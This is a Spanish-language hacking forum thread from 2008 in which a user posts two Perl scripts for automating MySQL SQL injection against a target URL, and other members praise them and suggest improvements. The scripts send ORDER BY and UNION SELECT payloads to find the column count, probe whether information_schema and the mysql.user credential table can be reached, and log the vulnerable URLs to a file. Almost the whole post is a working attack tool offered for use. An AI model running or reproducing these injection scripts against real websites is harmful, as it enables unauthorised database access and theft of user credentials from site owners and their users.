[+] MySQL Column Finder v2

Iniciado por Login-Root, 13 Julio 2008, 01:20 AM

0 Miembros y 1 Visitante están viendo este tema.

Login-Root

Hago otro thread para no enredar mucho el otro xD. v2 de mi buscador de columnas :D


UTILIZANDO ORDER:


#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER.   ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM                ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
     print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
     exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=1;
$count=1;
while ($column <= $ARGV[1])
{
    $sql=$ARGV[0]."-1+order+by+".$column."--";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ || $contenido=~ /Unknown column/)
    {
         print "\n[+] Fallo el intento de obtener $column columnas\n";
         $column --;
         if ($column == 0)
         {
             $column ++;
         }
         $sql=$ARGV[0]."-1+order+by+".$column."--";
         print "[+] La web tiene $column columnas:\n\n";
         print "$sql\n\n";
         print WEB "$sql\n";
         while ($count < $column)
         {
            $union.=','.$count;
            $count++;
         }
         print "\n[+] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
         $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] Information_Schema no disponible";
         }
         else
         {
            print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            print WEB "$sql\n";
         }
         print "\n[+] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
         $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] MySQL.User no disponible\n\n";
         }
         else
         {
            print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
            print WEB "$sql\n";
         }
         print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
     }
     else
     {
         print "\n[!] Sin error al intentar con $column columnas";
         $column ++;
     }
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);


Ejemplo:


_______________________________________________________________________________


UTILIZANDO UNION:


#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL  utilizando la sentencia UNION.  ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM                ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
     print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
     exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=0;

while ($column <= $ARGV[1])
{
    $union.=','.$column;
    if ($column == 0)
    {
        $union='';
    }
    $sql=$ARGV[0]."-1+union+all+select+0".$union."--";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ || $contenido=~ /The used SELECT statements have a different number of columns/)
    {
         $column ++;
         print "\n[!] Fallo el intento de obtener $column columnas";
    }
     else
     {
         $column ++;
         print "\n[+] La web posee $column columnas\n\n";
         print "$sql\n\n";
         print WEB "$sql\n";
         print "\n[+] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
         $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] Information_Schema no disponible";
         }
         else
         {
            print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            print WEB "$sql\n";
         }
         print "\n[+] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
         $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] MySQL.User no disponible\n\n";
         }
         else
         {
            print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
            print WEB "$sql\n";
         }
         print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
         }
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);


Ejemplo:



Saludos.
8-Bit

Darioxhcx

la otra ves encontre en una web 189 columnas u.u
las sake y anote todas a mano jajajajaja
que loco
buen post man felicitaciones =D
saludos

berz3k

No era necesario abrir otro hilo, solo agregaste nueva opcion "save file" etc etc, buen code repito, supongo ira creciendo con el tiempo.

-berz3k.


^Tifa^

Interesante,  ::)  si gustas mas adelante cuando des por terminado tu proyecto. Solo si estas interesado, podria crearte la contraparte grafica, tambien en Perl para los nostalgicos que le gustan las aplicaciones GUI nada mas  :P

Una sugerencia :: Tambien puedes incluir ambos scripts en 1 solo, asi no separas uno del otro solo porque uno oferta con la funcion 'Union' y el otro no. Puedes ir pensando en ir modulando tu aplicacion :) si vas a continuarla ya que se te hara un poco extensa.